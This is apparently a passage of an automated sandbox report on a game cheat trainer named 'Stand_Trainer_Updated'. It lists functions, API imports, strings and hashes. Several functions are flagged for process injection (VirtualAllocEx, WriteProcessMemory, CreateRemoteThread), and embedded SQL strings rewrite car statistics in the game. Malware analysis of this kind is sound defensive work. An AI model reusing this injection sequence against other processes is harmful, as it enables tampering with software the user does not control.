WriteProcessMemory.KERNEL32 ref: 00007FF8B8F73AB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F73AE1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F73B26
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B8F73B6A

Strings

vector too long, xrefs: 00007FF8B8F73184
UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned, xrefs: 00007FF8B8F73426
@, xrefs: 00007FF8B8F735F7

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcess$Write_invalid_parameter_noinfo_noreturn$Virtualmemcpy$AllocExceptionFreeReadThrowXlength_error@std@@mallocmemcmp
String ID: @$UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned$vector too long
API String ID: 3432736595-2273485850
Opcode ID: ff04e743a14e27a5f50ae3e48831c4d593fa7fcaafc929ef685421284231d40a
Instruction ID: 7e4ceb09d37dab1d7efa4b07f09a372300a7c2beaf69d76f76d76827daf2eac1
Opcode Fuzzy Hash: ff04e743a14e27a5f50ae3e48831c4d593fa7fcaafc929ef685421284231d40a
Instruction Fuzzy Hash: 9952483AB15A5598FB118F69D8402EC6B71FB18BC9F884132EB5D27B99DF38D542C308

Function 00007FF8B8F71910 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 277
injectionmemorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B8F74150: memcpy.VCRUNTIME140(?,?,?,00007FF8B8F73207), ref: 00007FF8B8F741C3

VirtualAllocEx.KERNEL32 ref: 00007FF8B8F71A40
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F71A63
VirtualAllocEx.KERNEL32 ref: 00007FF8B8F71AC2
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F71AE9

Part of subcall function 00007FF8B8F73F70: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F74070

VirtualAllocEx.KERNEL32 ref: 00007FF8B8F71B46
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F71B6B
CreateRemoteThread.KERNEL32 ref: 00007FF8B8F71B9A

Part of subcall function 00007FF8B8F74920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B8F7103E), ref: 00007FF8B8F7493A

WaitForSingleObject.KERNEL32 ref: 00007FF8B8F71BC4
VirtualFreeEx.KERNEL32 ref: 00007FF8B8F71BF2
VirtualFreeEx.KERNEL32 ref: 00007FF8B8F71C17
VirtualFreeEx.KERNEL32 ref: 00007FF8B8F71C3C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F71C79
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F71D11

Strings

@, xrefs: 00007FF8B8F71B2E

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Virtual$AllocFreeMemoryProcessWrite$_invalid_parameter_noinfo_noreturnmemcpy$CreateObjectRemoteSingleThreadWaitmalloc
String ID: @
API String ID: 359211796-2766056989
Opcode ID: 923724aed1add0c9db85f855cc3076c4de2bc1b638331ad5104b5904c44cb73a
Instruction ID: 86016f5c95a8637869d6b2ac1ddf107d20c970d820f06f0f2b4e408ffb75e78a
Opcode Fuzzy Hash: 923724aed1add0c9db85f855cc3076c4de2bc1b638331ad5104b5904c44cb73a
Instruction Fuzzy Hash: 93C1553AA04E4185EB10CF6AE8402AD7BA5FB88BC9F458036DB8D53B58CF3CD556C344

Function 00007FF8B8F72720 Relevance: 13.9, APIs: 9, Instructions: 427COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F72842
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F72994
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F72AD4
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F72B84
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F72BD4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F72CBB
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F72CF3
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F72DDD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F72E2C

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$MemoryProcessRead
String ID:
API String ID: 1606301450-0
Opcode ID: 5ae2e6b79edec0f3968cffdec89c313936049c9e9988ad8e25bec2b751d6e6f8
Instruction ID: 55ddf74b1ab241e2e6bfb4315bf853ce9b781a58a089e57827d9bc9eec17c628
Opcode Fuzzy Hash: 5ae2e6b79edec0f3968cffdec89c313936049c9e9988ad8e25bec2b751d6e6f8
Instruction Fuzzy Hash: 05223876B04A469AFB04CFA8D4442EC3BB1EB4479DF40453AEB5D17B99DF38924AC348

Function 00007FF8B8F75024 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B8F75040
memset.VCRUNTIME140 ref: 00007FF8B8F75064
RtlCaptureContext.KERNEL32 ref: 00007FF8B8F7506D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B8F75087
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B8F750C8
memset.VCRUNTIME140 ref: 00007FF8B8F750FB
IsDebuggerPresent.KERNEL32 ref: 00007FF8B8F7511C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B8F7513D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B8F75148

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 90f41556a7343738b2213ee9ee7f69b153d5a3b61cd0325a1c433d6b6fd49eb8
Instruction ID: 590001dbdbde517a707876491a9a35dc9d0df260b3ee704261e324253b9ae481
Opcode Fuzzy Hash: 90f41556a7343738b2213ee9ee7f69b153d5a3b61cd0325a1c433d6b6fd49eb8
Instruction Fuzzy Hash: ED314876609E828AFB608F64E8407ED2760FB88785F44403ADB4E47B98EF3CD549C708

Function 00007FF8B8F731A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned, xrefs: 00007FF8B8F73426
@, xrefs: 00007FF8B8F735F7

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpy
String ID: @$UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned
API String ID: 3510742995-1189540536
Opcode ID: 4d45d62620878725b11631fcb973c50a749d28f5e7bf7a6448b0e22a4ade31d5
Instruction ID: 9c2407ad31b36452c0bdf0c1eb77473862ecb7a858179582bdec50c0f3efc3e9
Opcode Fuzzy Hash: 4d45d62620878725b11631fcb973c50a749d28f5e7bf7a6448b0e22a4ade31d5
Instruction Fuzzy Hash: B1D16B36F15AA588FB11CB69E8401AC6BB0BB18BD9F884131DF5D67B98DF38D542C308

Function 00007FF8B8F72230 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 148
stringprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF8B8F72269
Process32First.KERNEL32 ref: 00007FF8B8F72295
Process32Next.KERNEL32 ref: 00007FF8B8F722B1
GetForegroundWindow.USER32 ref: 00007FF8B8F7237B
GetWindowThreadProcessId.USER32 ref: 00007FF8B8F72389
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F723B9
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B8F723DD
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B8F72408
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B8F72469

Strings

reset, xrefs: 00007FF8B8F723FB
focus, xrefs: 00007FF8B8F723B0
unfocus, xrefs: 00007FF8B8F723D0

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Process32Windowstrcpy_s$CreateFirstForegroundNextProcessSnapshotThreadToolhelp32_invalid_parameter_noinfo_noreturnfree
String ID: focus$reset$unfocus
API String ID: 64550660-3106794205
Opcode ID: e7c99580bd7c60a15c07992298f68fdcd850852949cf6604d91e12ff0a8fd0d3
Instruction ID: 066c8d833dd591e6cbf59c68c3f6e8639b03f44bf9e41aced13e58eb7d8beeae
Opcode Fuzzy Hash: e7c99580bd7c60a15c07992298f68fdcd850852949cf6604d91e12ff0a8fd0d3
Instruction Fuzzy Hash: E4619439A08E8285FB518F69E8443797BA0FB48BD6F044135DB8E067A5DF3CE486C758

Function 00007FF8B8F71720 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 132injectionCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8B8F71757
memcpy.VCRUNTIME140 ref: 00007FF8B8F7180F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F7186A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B8F71877
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F718BF
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F718D1

Part of subcall function 00007FF8B8F74920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B8F7103E), ref: 00007FF8B8F7493A

WriteProcessMemory.KERNEL32 ref: 00007FF8B8F718FA

Strings

AND NotAvailableInAutoshow=1, xrefs: 00007FF8B8F718CA
AND NotAvailableInAutoshow=0, xrefs: 00007FF8B8F718B8

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcessWrite$memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: AND NotAvailableInAutoshow=0$ AND NotAvailableInAutoshow=1
API String ID: 2427741960-1967300337
Opcode ID: 50c7807b714074bc3cde8963075cd9d3c8a6124ba4fd18cff7efebee71432e17
Instruction ID: abbc32d83b9a31b2c23a2abc8894031f9c69419c3dba68e141185b6ff2227feb
Opcode Fuzzy Hash: 50c7807b714074bc3cde8963075cd9d3c8a6124ba4fd18cff7efebee71432e17
Instruction Fuzzy Hash: 2251AE3AA08E8684FA149F59E5042B92B61FB44FD6F640531DB6D07B95DF3CE49BC308

Function 00007FF8B8F74988 Relevance: 13.7, APIs: 9, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B8F749B0
__scrt_initialize_crt.LIBCMT ref: 00007FF8B8F749F5
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B8F74A02
_RTC_Initialize.LIBCMT ref: 00007FF8B8F74A30
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B8F74A56
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B8F74A81

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 5dc3a2c061d603ebea0dc15b17bef94147f44fca3a790ac9016eac81c12b021b
Instruction ID: f8c2b24086ac449249b5e601eec1be8052204570daf941076080c150c4a3e11e
Opcode Fuzzy Hash: 5dc3a2c061d603ebea0dc15b17bef94147f44fca3a790ac9016eac81c12b021b
Instruction Fuzzy Hash: 92817B38E08E4386FA90AB6D98412797E90AFA57C6F144135DB1C87796DF2CE843C71C

Function 00007FF8B8F710C0 Relevance: 13.6, APIs: 9, Instructions: 108injectionCOMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32 ref: 00007FF8B8F71105
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F71134
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F71163
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F71192
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F711C4
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F711F3
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F71222
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F7125B
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F7128C

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcess$Read$Write
String ID:
API String ID: 2601675199-0
Opcode ID: 7ee7c050f7f7f51261b789aad5b224ef0e50c02b930656cee03c470f5aaca468
Instruction ID: c2e4db62a3d53f5548c8058100c680439b7028de5fccf65d628076706dc7a049
Opcode Fuzzy Hash: 7ee7c050f7f7f51261b789aad5b224ef0e50c02b930656cee03c470f5aaca468
Instruction Fuzzy Hash: 5E51ECBA616F9689EB908F5AE8406987720F788BCAF445026EF4E53728DF3CC146C344

Function 00007FF8B8F73B70 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8B8F73C75
memcpy.VCRUNTIME140 ref: 00007FF8B8F73C8F
memset.VCRUNTIME140 ref: 00007FF8B8F73CA4
memcpy.VCRUNTIME140 ref: 00007FF8B8F73CBC
memcpy.VCRUNTIME140 ref: 00007FF8B8F73CD9
memset.VCRUNTIME140 ref: 00007FF8B8F73CE7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F73D5E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B8F73D65

Part of subcall function 00007FF8B8F74920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B8F7103E), ref: 00007FF8B8F7493A

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpy$memset$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1738635707-0
Opcode ID: 90702b10806ec90035e6f9983b6b7e09ddf27c14c661ce296dfff093e261c8fb
Instruction ID: 516cc8eb709faf82f15f9c740130441b9cf875d39e16137d5b98ceb58205fecf
Opcode Fuzzy Hash: 90702b10806ec90035e6f9983b6b7e09ddf27c14c661ce296dfff093e261c8fb
Instruction Fuzzy Hash: 4D51C079B19E8694FE14DB1DE4442B96B61AF48BD2F840631DB6D277E5DF3CE0428308

Function 00007FF8B8F71D80 Relevance: 10.7, APIs: 7, Instructions: 153injectionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B8F74150: memcpy.VCRUNTIME140(?,?,?,00007FF8B8F73207), ref: 00007FF8B8F741C3

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B8F71E8C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B8F71EA1
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F71ECF
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F71F02
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F71F3D

Part of subcall function 00007FF8B8F73F70: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F74070

WriteProcessMemory.KERNEL32 ref: 00007FF8B8F71FC6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B8F71FD8

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcess$Writefreememcpy$Read_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1560051262-0
Opcode ID: 5d09cd1697ce0e85060163274d83c08a82e2468e5510c7f618081edddadb3396
Instruction ID: 4335c6a066873b34c7863c881b02a490b78102f510df7f9ffa54721f86ba395e
Opcode Fuzzy Hash: 5d09cd1697ce0e85060163274d83c08a82e2468e5510c7f618081edddadb3396
Instruction Fuzzy Hash: 81616E39A19F8281FA518F19E8442A97B70FB85FD1F540136EB9D13B64CF3CE5868708

Function 00007FF8B8F73F50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

?_Xout_of_range@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F73F5B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F7401D
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F7405D

Part of subcall function 00007FF8B8F74920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B8F7103E), ref: 00007FF8B8F7493A

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F74070
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B8F740AD

Strings

invalid vector subscript, xrefs: 00007FF8B8F73F54

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_taskXout_of_range@std@@_invalid_parameter_noinfo_noreturnmalloc
String ID: invalid vector subscript
API String ID: 225515916-1949860628
Opcode ID: a7de3c16eb63e3b623d02498fccd81339706b82cc1b6655b6c5c59361fd26349
Instruction ID: f995ba9a71133549c2d6159e357a07c6d20892a55a1fe7ec27918e4b506335c8
Opcode Fuzzy Hash: a7de3c16eb63e3b623d02498fccd81339706b82cc1b6655b6c5c59361fd26349
Instruction Fuzzy Hash: 2431C136B08E8581FA14DF6AA4041B9ABA0AB64BE1F184535DFAD07BD5CF3CE152C304

Function 00007FF8B8F736E0 Relevance: 9.2, APIs: 6, Instructions: 249COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32 ref: 00007FF8B8F7374F
memcmp.VCRUNTIME140 ref: 00007FF8B8F73766

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcessReadmemcmp
String ID:
API String ID: 3176920756-0
Opcode ID: bcccaca4536aae3c17190eb64e39493890961a33e0c5a1b4d314fc494e5810b3
Instruction ID: 1a6be2fcf39311b0bed1782d3e420bcbf62dbb0a0ff282c976a575a43f1c7f25
Opcode Fuzzy Hash: bcccaca4536aae3c17190eb64e39493890961a33e0c5a1b4d314fc494e5810b3
Instruction Fuzzy Hash: 9CC17C3AB19E8599FB118F29D4402A87BA1FB58BC9F944131DB5D13B99CF3CD552C308

Function 00007FF8B8F74200 Relevance: 7.6, APIs: 5, Instructions: 105processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF8B8F74239
Module32First.KERNEL32 ref: 00007FF8B8F7426D
memcmp.VCRUNTIME140 ref: 00007FF8B8F742B9
Module32Next.KERNEL32 ref: 00007FF8B8F742CA
OpenProcess.KERNEL32 ref: 00007FF8B8F742EF

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
